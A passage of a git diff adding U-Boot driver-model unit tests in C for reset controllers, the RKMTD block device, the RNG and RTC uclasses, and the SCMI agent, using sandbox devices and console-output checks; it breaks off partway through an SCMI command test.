+DM_TEST(dm_test_reset_devm, UT_TESTF_SCAN_FDT);
+
+static int dm_test_reset_bulk(struct unit_test_state *uts)
+{
+ struct udevice *dev_reset;
+ struct udevice *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_RESET, "reset-ctl",
+ &dev_reset));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "reset-ctl-test",
+ &dev_test));
+ ut_assertok(sandbox_reset_test_get_bulk(dev_test));
+
+ ut_assertok(sandbox_reset_test_assert_bulk(dev_test));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_assertok(sandbox_reset_test_deassert_bulk(dev_test));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_assertok(sandbox_reset_test_release_bulk(dev_test));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ return 0;
+}
+DM_TEST(dm_test_reset_bulk, UT_TESTF_SCAN_FDT);
+
+static int dm_test_reset_bulk_devm(struct unit_test_state *uts)
+{
+ struct udevice *dev_reset;
+ struct udevice *dev_test;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_RESET, "reset-ctl",
+ &dev_reset));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "reset-ctl-test",
+ &dev_test));
+ ut_assertok(sandbox_reset_test_get_bulk_devm(dev_test));
+
+ ut_assertok(sandbox_reset_test_assert_bulk(dev_test));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(1, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_assertok(sandbox_reset_test_deassert_bulk(dev_test));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, TEST_RESET_ID));
+ ut_asserteq(0, sandbox_reset_query(dev_reset, OTHER_RESET_ID));
+
+ ut_asserteq(1, sandbox_reset_is_requested(dev_reset, OTHER_RESET_ID));
+ ut_asserteq(1, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+ ut_assertok(device_remove(dev_test, DM_REMOVE_NORMAL));
+ ut_asserteq(0, sandbox_reset_is_requested(dev_reset, TEST_RESET_ID));
+ ut_asserteq(0, sandbox_reset_is_requested(dev_reset, OTHER_RESET_ID));
+
+ return 0;
+}
+DM_TEST(dm_test_reset_bulk_devm, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/rkmtd.c b/test/dm/rkmtd.c
new file mode 100644
index 00000000000..3dc9ca1add1
--- /dev/null
+++ b/test/dm/rkmtd.c
@@ -0,0 +1,199 @@
+// SPDX-License-Identifier: GPL-2.0+ OR BSD-3-Clause
+/*
+ * Test derived from:
+ * /test/dm/host.c
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ *
+ * Copyright (C) 2023 Johan Jonker <jbx6244@gmail.com>
+ */
+
+#include <blk.h>
+#include <dm.h>
+#include <fs.h>
+#include <rkmtd.h>
+#include <asm/test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define RW_BUF_SIZE 12 * 512
+
+/* Basic test of the RKMTD interface */
+static int dm_test_rkmtd(struct unit_test_state *uts)
+{
+ struct udevice *dev, *part, *chk, *blk;
+ char write[RW_BUF_SIZE], read[RW_BUF_SIZE];
+ static const char label[] = "test";
+ struct rkmtd_dev *plat;
+ struct blk_desc *desc;
+ struct sector0 *sec0;
+ int i;
+
+ ut_asserteq(-ENODEV, uclass_first_device_err(UCLASS_RKMTD, &dev));
+ ut_asserteq(-ENODEV, uclass_first_device_err(UCLASS_PARTITION, &part));
+
+ ut_assertok(rkmtd_create_device(label, &dev));
+
+ /* Check that the plat data has been allocated */
+ plat = dev_get_plat(dev);
+ ut_asserteq_str("test", plat->label);
+ ut_assert(label != plat->label);
+
+ /* Attach RKMTD driver */
+ ut_assertok(rkmtd_attach(dev));
+ ut_assertok(uclass_first_device_err(UCLASS_RKMTD, &chk));
+ ut_asserteq_ptr(chk, dev);
+
+ /* Get RKMTD block device */
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ ut_assertok(device_probe(blk));
+
+ /* There should be a GPT partition table in this device */
+ ut_asserteq(0, uclass_first_device_err(UCLASS_PARTITION, &part));
+
+ /* Write a boot block and verify that we get the same data back */
+ desc = dev_get_uclass_plat(blk);
+ ut_asserteq(true, desc->removable);
+ ut_asserteq(LBA, desc->lba);
+
+ memset(write, '\0', BLK_SIZE);
+
+ for (i = BLK_SIZE; i < sizeof(write); i++)
+ write[i] = i;
+
+ sec0 = (struct sector0 *)write;
+ sec0->magic = 0x0FF0AA55;
+ sec0->rc4_flag = 0;
+ sec0->boot_code1_offset = 4;
+ sec0->boot_code2_offset = 4;
+ sec0->flash_data_size = 4;
+ sec0->flash_boot_size = 8;
+
+ rkmtd_rc4(write, 512);
+ ut_asserteq(RK_TAG, sec0->magic);
+
+ ut_asserteq(12, blk_dwrite(desc, 64, 12, write));
+ ut_asserteq(12, blk_dread(desc, 64, 12, read));
+ ut_asserteq_mem(write, read, RW_BUF_SIZE);
+
+ ut_assertok(rkmtd_detach(dev));
+
+ ut_asserteq(-ENODEV, blk_get_from_parent(dev, &blk));
+ ut_assertok(device_unbind(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_rkmtd, UT_TESTF_SCAN_FDT);
+
+/* Reusing the same label should work */
+static int dm_test_rkmtd_dup(struct unit_test_state *uts)
+{
+ static const char label[] = "test";
+ struct udevice *dev, *chk;
+
+ /* Create a RKMTD device with label "test" */
+ ut_asserteq(0, uclass_id_count(UCLASS_RKMTD));
+ ut_assertok(rkmtd_create_device(label, &dev));
+ ut_assertok(rkmtd_attach(dev));
+ ut_assertok(uclass_first_device_err(UCLASS_RKMTD, &chk));
+ ut_asserteq_ptr(chk, dev);
+ ut_asserteq(1, uclass_id_count(UCLASS_RKMTD));
+
+ /* Create another device with the same label (should remove old one) */
+ ut_assertok(rkmtd_create_device(label, &dev));
+ ut_assertok(rkmtd_attach(dev));
+ ut_assertok(uclass_first_device_err(UCLASS_RKMTD, &chk));
+ ut_asserteq_ptr(chk, dev);
+
+ /* Make sure there is still only one device */
+ ut_asserteq(1, uclass_id_count(UCLASS_RKMTD));
+
+ return 0;
+}
+DM_TEST(dm_test_rkmtd_dup, UT_TESTF_SCAN_FDT);
+
+/* Basic test of the 'rkmtd' command */
+static int dm_test_rkmtd_cmd(struct unit_test_state *uts)
+{
+ struct udevice *dev, *blk;
+ struct blk_desc *desc;
+
+ /* First check 'rkmtd info' with binding */
+ ut_assertok(run_command("rkmtd info", 0));
+ ut_assert_nextline("dev blocks label ");
+ ut_assert_console_end();
+
+ /* Bind device 1 */
+ ut_assertok(run_commandf("rkmtd bind test1"));
+ ut_assertok(uclass_first_device_err(UCLASS_RKMTD, &dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ desc = dev_get_uclass_plat(blk);
+
+ ut_assertok(run_command("rkmtd info", 0));
+ ut_assert_nextline("dev blocks label ");
+ ut_assert_nextline(" 0 609 test1 ");
+ ut_assert_console_end();
+
+ /* Bind device 2 */
+ ut_assertok(run_commandf("rkmtd bind test2"));
+ ut_assertok(uclass_next_device_err(&dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+ desc = dev_get_uclass_plat(blk);
+
+ ut_assertok(run_command("rkmtd info", 0));
+ ut_assert_nextline("dev blocks label ");
+ ut_assert_nextline(" 0 609 test1 ");
+ ut_assert_nextline(" 1 609 test2 ");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("rkmtd info test", 0));
+ ut_assert_nextline("No such device 'test'");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("rkmtd info test2", 0));
+ ut_assert_nextline("dev blocks label ");
+ ut_assert_nextline(" 1 609 test2 ");
+ ut_assert_console_end();
+
+ /* Check 'rkmtd dev' */
+ ut_asserteq(1, run_command("rkmtd dev", 0));
+ ut_assert_nextline("No current rkmtd device");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("rkmtd dev missing", 0));
+ ut_assert_nextline("No such device 'missing'");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("rkmtd dev test2", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("rkmtd dev", 0));
+ ut_assert_nextline("Current rkmtd device: 1: test2");
+ ut_assert_console_end();
+
+ /* Try a numerical label */
+ ut_assertok(run_command("rkmtd dev 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("rkmtd dev", 0));
+ ut_assert_nextline("Current rkmtd device: 0: test1");
+ ut_assert_console_end();
+
+ /* Remove one of the bindings */
+ ut_assertok(run_commandf("rkmtd unbind test1"));
+
+ /* There should now be no current device */
+ ut_asserteq(1, run_command("rkmtd dev", 0));
+ ut_assert_nextline("No current rkmtd device");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("rkmtd info", 0));
+ ut_assert_nextline("dev blocks label ");
+ ut_assert_nextline(" 1 609 test2 ");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_rkmtd_cmd, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/dm/rng.c b/test/dm/rng.c
new file mode 100644
index 00000000000..c8ed6cadf58
--- /dev/null
+++ b/test/dm/rng.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019, Linaro Limited
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <rng.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+/* Basic test of the rng uclass */
+static int dm_test_rng_read(struct unit_test_state *uts)
+{
+ unsigned long rand1 = 0, rand2 = 0;
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_RNG, 0, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(dm_rng_read(dev, &rand1, sizeof(rand1)));
+ ut_assertok(dm_rng_read(dev, &rand2, sizeof(rand2)));
+ ut_assert(rand1 != rand2);
+
+ return 0;
+}
+DM_TEST(dm_test_rng_read, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test the rng command */
+static int dm_test_rng_cmd(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_RNG, 0, &dev));
+ ut_assertnonnull(dev);
+
+ ut_assertok(console_record_reset_enable());
+
+ run_command("rng", 0);
+ ut_assert_nextlinen("00000000:");
+ ut_assert_nextlinen("00000010:");
+ ut_assert_nextlinen("00000020:");
+ ut_assert_nextlinen("00000030:");
+ ut_assert_console_end();
+
+ run_command("rng 0 10", 0);
+ ut_assert_nextlinen("00000000:");
+ ut_assert_console_end();
+
+ run_command("rng 20", 0);
+ ut_assert_nextlinen("No RNG device");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_rng_cmd, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/dm/rtc.c b/test/dm/rtc.c
new file mode 100644
index 00000000000..a8aa41955c2
--- /dev/null
+++ b/test/dm/rtc.c
@@ -0,0 +1,315 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <console.h>
+#include <dm.h>
+#include <i2c.h>
+#include <log.h>
+#include <rtc.h>
+#include <asm/io.h>
+#include <asm/rtc.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Simple RTC sanity check */
+static int dm_test_rtc_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_asserteq(-ENODEV, uclass_get_device_by_seq(UCLASS_RTC, 2, &dev));
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev));
+ ut_assertok(uclass_get_device(UCLASS_RTC, 1, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static void show_time(const char *msg, struct rtc_time *time)
+{
+ printf("%s: %02d/%02d/%04d %02d:%02d:%02d\n", msg,
+ time->tm_mday, time->tm_mon, time->tm_year,
+ time->tm_hour, time->tm_min, time->tm_sec);
+}
+
+static int cmp_times(struct rtc_time *expect, struct rtc_time *time, bool show)
+{
+ bool same;
+
+ same = expect->tm_sec == time->tm_sec;
+ same &= expect->tm_min == time->tm_min;
+ same &= expect->tm_hour == time->tm_hour;
+ same &= expect->tm_mday == time->tm_mday;
+ same &= expect->tm_mon == time->tm_mon;
+ same &= expect->tm_year == time->tm_year;
+ if (!same && show) {
+ show_time("expected", expect);
+ show_time("actual", time);
+ }
+
+ return same ? 0 : -EINVAL;
+}
+
+/* Set and get the time */
+static int dm_test_rtc_set_get(struct unit_test_state *uts)
+{
+ struct rtc_time now, time, cmp;
+ struct udevice *dev, *emul;
+ long offset, check_offset, old_offset, old_base_time;
+ int i;
+
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev));
+
+ ut_assertok(i2c_emul_find(dev, &emul));
+ ut_assertnonnull(emul);
+
+ /* Get the offset, putting the RTC into manual mode */
+ i = 0;
+ do {
+ check_offset = sandbox_i2c_rtc_set_offset(emul, false, 0);
+ ut_assertok(dm_rtc_get(dev, &now));
+
+ /* Tell the RTC to go into manual mode */
+ old_offset = sandbox_i2c_rtc_set_offset(emul, false, 0);
+
+ /* If the times changed in that period, read it again */
+ } while (++i < 2 && check_offset != old_offset);
+ ut_asserteq(check_offset, old_offset);
+
+ old_base_time = sandbox_i2c_rtc_get_set_base_time(emul, -1);
+
+ memset(&time, '\0', sizeof(time));
+ time.tm_mday = 3;
+ time.tm_mon = 6;
+ time.tm_year = 2004;
+ time.tm_sec = 0;
+ time.tm_min = 18;
+ time.tm_hour = 18;
+ ut_assertok(dm_rtc_set(dev, &time));
+
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ ut_assertok(cmp_times(&time, &cmp, true));
+
+ memset(&time, '\0', sizeof(time));
+ time.tm_mday = 31;
+ time.tm_mon = 8;
+ time.tm_year = 2004;
+ time.tm_sec = 0;
+ time.tm_min = 18;
+ time.tm_hour = 18;
+ ut_assertok(dm_rtc_set(dev, &time));
+
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ ut_assertok(cmp_times(&time, &cmp, true));
+
+ /* Increment by 1 second */
+ offset = sandbox_i2c_rtc_set_offset(emul, false, 0);
+ sandbox_i2c_rtc_set_offset(emul, false, offset + 1);
+
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ ut_asserteq(1, cmp.tm_sec);
+
+ /* Check against original offset */
+ sandbox_i2c_rtc_set_offset(emul, false, old_offset);
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ ut_assertok(cmp_times(&now, &cmp, true));
+
+ /* Back to the original offset */
+ sandbox_i2c_rtc_set_offset(emul, false, 0);
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ ut_assertok(cmp_times(&now, &cmp, true));
+
+ /* Increment the base time by 1 emul */
+ sandbox_i2c_rtc_get_set_base_time(emul, old_base_time + 1);
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev, &cmp));
+ if (now.tm_sec == 59) {
+ ut_asserteq(0, cmp.tm_sec);
+ } else {
+ ut_asserteq(now.tm_sec + 1, cmp.tm_sec);
+ }
+
+ /* return RTC to normal mode */
+ sandbox_i2c_rtc_set_offset(emul, true, 0);
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_set_get, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_rtc_read_write(struct unit_test_state *uts)
+{
+ struct rtc_time time;
+ struct udevice *dev, *emul;
+ long old_offset;
+ u8 buf[4], reg;
+
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev));
+
+ memcpy(buf, "car", 4);
+ ut_assertok(dm_rtc_write(dev, REG_AUX0, buf, 4));
+ memset(buf, '\0', sizeof(buf));
+ ut_assertok(dm_rtc_read(dev, REG_AUX0, buf, 4));
+ ut_asserteq(memcmp(buf, "car", 4), 0);
+
+ reg = 'b';
+ ut_assertok(dm_rtc_write(dev, REG_AUX0, &reg, 1));
+ memset(buf, '\0', sizeof(buf));
+ ut_assertok(dm_rtc_read(dev, REG_AUX0, buf, 4));
+ ut_asserteq(memcmp(buf, "bar", 4), 0);
+
+ reg = 't';
+ ut_assertok(dm_rtc_write(dev, REG_AUX2, &reg, 1));
+ memset(buf, '\0', sizeof(buf));
+ ut_assertok(dm_rtc_read(dev, REG_AUX1, buf, 3));
+ ut_asserteq(memcmp(buf, "at", 3), 0);
+
+ ut_assertok(i2c_emul_find(dev, &emul));
+ ut_assertnonnull(emul);
+
+ old_offset = sandbox_i2c_rtc_set_offset(emul, false, 0);
+ ut_assertok(dm_rtc_get(dev, &time));
+
+ ut_assertok(dm_rtc_read(dev, REG_SEC, &reg, 1));
+ ut_asserteq(time.tm_sec, reg);
+ ut_assertok(dm_rtc_read(dev, REG_MDAY, &reg, 1));
+ ut_asserteq(time.tm_mday, reg);
+
+ sandbox_i2c_rtc_set_offset(emul, true, old_offset);
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_read_write, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'rtc list' command */
+static int dm_test_rtc_cmd_list(struct unit_test_state *uts)
+{
+ console_record_reset();
+
+ run_command("rtc list", 0);
+ ut_assert_nextline("RTC #0 - rtc@43");
+ ut_assert_nextline("RTC #1 - rtc@61");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_cmd_list, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test 'rtc read' and 'rtc write' commands */
+static int dm_test_rtc_cmd_rw(struct unit_test_state *uts)
+{
+ console_record_reset();
+
+ run_command("rtc dev 0", 0);
+ ut_assert_nextline("RTC #0 - rtc@43");
+ ut_assert_console_end();
+
+ run_command("rtc write 0x30 aabb", 0);
+ ut_assert_console_end();
+
+ run_command("rtc read 0x30 2", 0);
+ ut_assert_nextline("00000030: aa bb ..");
+ ut_assert_console_end();
+
+ run_command("rtc dev 1", 0);
+ ut_assert_nextline("RTC #1 - rtc@61");
+ ut_assert_console_end();
+
+ run_command("rtc write 0x30 ccdd", 0);
+ ut_assert_console_end();
+
+ run_command("rtc read 0x30 2", 0);
+ ut_assert_nextline("00000030: cc dd ..");
+ ut_assert_console_end();
+
+ /*
+ * Switch back to device #0, check that its aux registers
+ * still have the same values.
+ */
+ run_command("rtc dev 0", 0);
+ ut_assert_nextline("RTC #0 - rtc@43");
+ ut_assert_console_end();
+
+ run_command("rtc read 0x30 2", 0);
+ ut_assert_nextline("00000030: aa bb ..");
+ ut_assert_console_end();
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_cmd_rw, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Reset the time */
+static int dm_test_rtc_reset(struct unit_test_state *uts)
+{
+ struct rtc_time now;
+ struct udevice *dev, *emul;
+ long old_base_time, base_time;
+ int i;
+
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev));
+ ut_assertok(dm_rtc_get(dev, &now));
+
+ ut_assertok(i2c_emul_find(dev, &emul));
+ ut_assertnonnull(emul);
+
+ i = 0;
+ do {
+ old_base_time = sandbox_i2c_rtc_get_set_base_time(emul, 0);
+
+ ut_asserteq(0, sandbox_i2c_rtc_get_set_base_time(emul, -1));
+
+ ut_assertok(dm_rtc_reset(dev));
+ base_time = sandbox_i2c_rtc_get_set_base_time(emul, -1);
+
+ /*
+ * Resetting the RTC should put the base time back to normal.
+ * Allow for a one-timeadjustment in case the time flips over
+ * while this test process is pre-empted (either by a second
+ * or a daylight-saving change), since reset_time() in
+ * i2c_rtc_emul.c reads the time from the OS.
+ */
+ } while (++i < 2 && base_time != old_base_time);
+ ut_asserteq(old_base_time, base_time);
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_reset, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Check that two RTC devices can be used independently */
+static int dm_test_rtc_dual(struct unit_test_state *uts)
+{
+ struct rtc_time now1, now2, cmp;
+ struct udevice *dev1, *dev2;
+ struct udevice *emul1, *emul2;
+ long offset;
+
+ ut_assertok(uclass_get_device(UCLASS_RTC, 0, &dev1));
+ ut_assertok(dm_rtc_get(dev1, &now1));
+ ut_assertok(uclass_get_device(UCLASS_RTC, 1, &dev2));
+ ut_assertok(dm_rtc_get(dev2, &now2));
+
+ ut_assertok(i2c_emul_find(dev1, &emul1));
+ ut_assertnonnull(emul1);
+ ut_assertok(i2c_emul_find(dev2, &emul2));
+ ut_assertnonnull(emul2);
+
+ offset = sandbox_i2c_rtc_set_offset(emul1, false, -1);
+ sandbox_i2c_rtc_set_offset(emul2, false, offset + 1);
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev2, &cmp));
+ ut_asserteq(-EINVAL, cmp_times(&now1, &cmp, false));
+
+ memset(&cmp, '\0', sizeof(cmp));
+ ut_assertok(dm_rtc_get(dev1, &cmp));
+ ut_assertok(cmp_times(&now1, &cmp, true));
+
+ return 0;
+}
+DM_TEST(dm_test_rtc_dual, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/scmi.c b/test/dm/scmi.c
new file mode 100644
index 00000000000..69fc900e342
--- /dev/null
+++ b/test/dm/scmi.c
@@ -0,0 +1,554 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2020, Linaro Limited
+ *
+ * Tests scmi_agent uclass and the SCMI drivers implemented in other
+ * uclass devices probe when a SCMI server exposes resources.
+ *
+ * Note in test.dts the protocol@10 node in scmi node. Protocol 0x10 is not
+ * implemented in U-Boot SCMI components but the implementation is expected
+ * to not complain on unknown protocol IDs, as long as it is not used. Note
+ * in test.dts tests that SCMI drivers probing does not fail for such an
+ * unknown SCMI protocol ID.
+ */
+
+#include <clk.h>
+#include <dm.h>
+#include <reset.h>
+#include <scmi_agent.h>
+#include <scmi_agent-uclass.h>
+#include <scmi_protocols.h>
+#include <vsprintf.h>
+#include <asm/scmi_test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <power/regulator.h>
+#include <test/ut.h>
+
+static int ut_assert_scmi_state_postprobe(struct unit_test_state *uts,
+ struct sandbox_scmi_agent *agent,
+ struct udevice *dev)
+{
+ struct sandbox_scmi_devices *scmi_devices;
+
+ /* Device references to check context against test sequence */
+ scmi_devices = sandbox_scmi_devices_ctx(dev);
+ ut_assertnonnull(scmi_devices);
+ ut_asserteq(2, scmi_devices->clk_count);
+ ut_asserteq(1, scmi_devices->reset_count);
+ ut_asserteq(2, scmi_devices->regul_count);
+
+ /* State of the simulated SCMI server exposed */
+ ut_asserteq(3, agent->clk_count);
+ ut_assertnonnull(agent->clk);
+ ut_asserteq(1, agent->reset_count);
+ ut_assertnonnull(agent->reset);
+ ut_asserteq(2, agent->voltd_count);
+ ut_assertnonnull(agent->voltd);
+
+ return 0;
+}
+
+static int load_sandbox_scmi_test_devices(struct unit_test_state *uts,
+ struct sandbox_scmi_agent **ctx,
+ struct udevice **dev)
+{
+ struct udevice *agent_dev;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+
+ *ctx = sandbox_scmi_agent_ctx(agent_dev);
+ ut_assertnonnull(*ctx);
+
+ /* probe */
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "sandbox_scmi",
+ dev));
+ ut_assertnonnull(*dev);
+
+ return ut_assert_scmi_state_postprobe(uts, *ctx, *dev);
+}
+
+static int release_sandbox_scmi_test_devices(struct unit_test_state *uts,
+ struct udevice *dev)
+{
+ /* un-probe */
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+
+ return 0;
+}
+
+/*
+ * Test SCMI states when loading and releasing resources
+ * related to SCMI drivers.
+ */
+static int dm_test_scmi_sandbox_agent(struct unit_test_state *uts)
+{
+ struct sandbox_scmi_agent *ctx;
+ struct udevice *dev = NULL;
+ int ret;
+
+ ret = load_sandbox_scmi_test_devices(uts, &ctx, &dev);
+ if (!ret)
+ ret = release_sandbox_scmi_test_devices(uts, dev);
+
+ return ret;
+}
+DM_TEST(dm_test_scmi_sandbox_agent, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_base(struct unit_test_state *uts)
+{
+ struct udevice *agent_dev, *base;
+ struct scmi_agent_priv *priv;
+ u32 version, num_agents, num_protocols, impl_version;
+ u32 attributes, agent_id;
+ u8 *vendor, *agent_name, *protocols;
+ int ret;
+
+ /* preparation */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+ ut_assertnonnull(priv = dev_get_uclass_plat(agent_dev));
+ ut_assertnonnull(base = scmi_get_protocol(agent_dev,
+ SCMI_PROTOCOL_ID_BASE));
+
+ /* version */
+ ret = scmi_base_protocol_version(base, &version);
+ ut_assertok(ret);
+ ut_asserteq(priv->version, version);
+
+ /* protocol attributes */
+ ret = scmi_base_protocol_attrs(base, &num_agents, &num_protocols);
+ ut_assertok(ret);
+ ut_asserteq(priv->num_agents, num_agents);
+ ut_asserteq(priv->num_protocols, num_protocols);
+
+ /* discover vendor */
+ ret = scmi_base_discover_vendor(base, &vendor);
+ ut_assertok(ret);
+ ut_asserteq_str(priv->vendor, vendor);
+ free(vendor);
+
+ /* message attributes */
+ ret = scmi_base_protocol_message_attrs(base,
+ SCMI_BASE_DISCOVER_SUB_VENDOR,
+ &attributes);
+ ut_assertok(ret);
+ ut_assertok(attributes);
+
+ /* discover sub vendor */
+ ret = scmi_base_discover_sub_vendor(base, &vendor);
+ ut_assertok(ret);
+ ut_asserteq_str(priv->sub_vendor, vendor);
+ free(vendor);
+
+ /* impl version */
+ ret = scmi_base_discover_impl_version(base, &impl_version);
+ ut_assertok(ret);
+ ut_asserteq(priv->impl_version, impl_version);
+
+ /* discover agent (my self) */
+ ret = scmi_base_discover_agent(base, 0xffffffff, &agent_id,
+ &agent_name);
+ ut_assertok(ret);
+ ut_asserteq(priv->agent_id, agent_id);
+ ut_asserteq_str(priv->agent_name, agent_name);
+ free(agent_name);
+
+ /* discover protocols */
+ ret = scmi_base_discover_list_protocols(base, &protocols);
+ ut_asserteq(num_protocols, ret);
+ ut_asserteq_mem(priv->protocols, protocols, sizeof(u8) * num_protocols);
+ free(protocols);
+
+ /*
+ * NOTE: Sandbox SCMI driver handles device-0 only. It supports setting
+ * access and protocol permissions, but doesn't allow unsetting them nor
+ * resetting the configurations.
+ */
+ /* set device permissions */
+ ret = scmi_base_set_device_permissions(base, agent_id, 0,
+ SCMI_BASE_SET_DEVICE_PERMISSIONS_ACCESS);
+ ut_assertok(ret); /* SCMI_SUCCESS */
+ ret = scmi_base_set_device_permissions(base, agent_id, 1,
+ SCMI_BASE_SET_DEVICE_PERMISSIONS_ACCESS);
+ ut_asserteq(-ENOENT, ret); /* SCMI_NOT_FOUND */
+ ret = scmi_base_set_device_permissions(base, agent_id, 0, 0);
+ ut_asserteq(-EACCES, ret); /* SCMI_DENIED */
+
+ /* set protocol permissions */
+ ret = scmi_base_set_protocol_permissions(base, agent_id, 0,
+ SCMI_PROTOCOL_ID_CLOCK,
+ SCMI_BASE_SET_PROTOCOL_PERMISSIONS_ACCESS);
+ ut_assertok(ret); /* SCMI_SUCCESS */
+ ret = scmi_base_set_protocol_permissions(base, agent_id, 1,
+ SCMI_PROTOCOL_ID_CLOCK,
+ SCMI_BASE_SET_PROTOCOL_PERMISSIONS_ACCESS);
+ ut_asserteq(-ENOENT, ret); /* SCMI_NOT_FOUND */
+ ret = scmi_base_set_protocol_permissions(base, agent_id, 0,
+ SCMI_PROTOCOL_ID_CLOCK, 0);
+ ut_asserteq(-EACCES, ret); /* SCMI_DENIED */
+
+ /* reset agent configuration */
+ ret = scmi_base_reset_agent_configuration(base, agent_id, 0);
+ ut_asserteq(-EACCES, ret); /* SCMI_DENIED */
+ ret = scmi_base_reset_agent_configuration(base, agent_id,
+ SCMI_BASE_RESET_ALL_ACCESS_PERMISSIONS);
+ ut_asserteq(-EACCES, ret); /* SCMI_DENIED */
+ ret = scmi_base_reset_agent_configuration(base, agent_id, 0);
+ ut_asserteq(-EACCES, ret); /* SCMI_DENIED */
+
+ return 0;
+}
+
+DM_TEST(dm_test_scmi_base, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_cmd(struct unit_test_state *uts)
+{
+ struct udevice *agent_dev;
+ int num_proto = 0;
+ char cmd_out[30];
+
+ if (!CONFIG_IS_ENABLED(CMD_SCMI))
+ return -EAGAIN;
+
+ /* preparation */
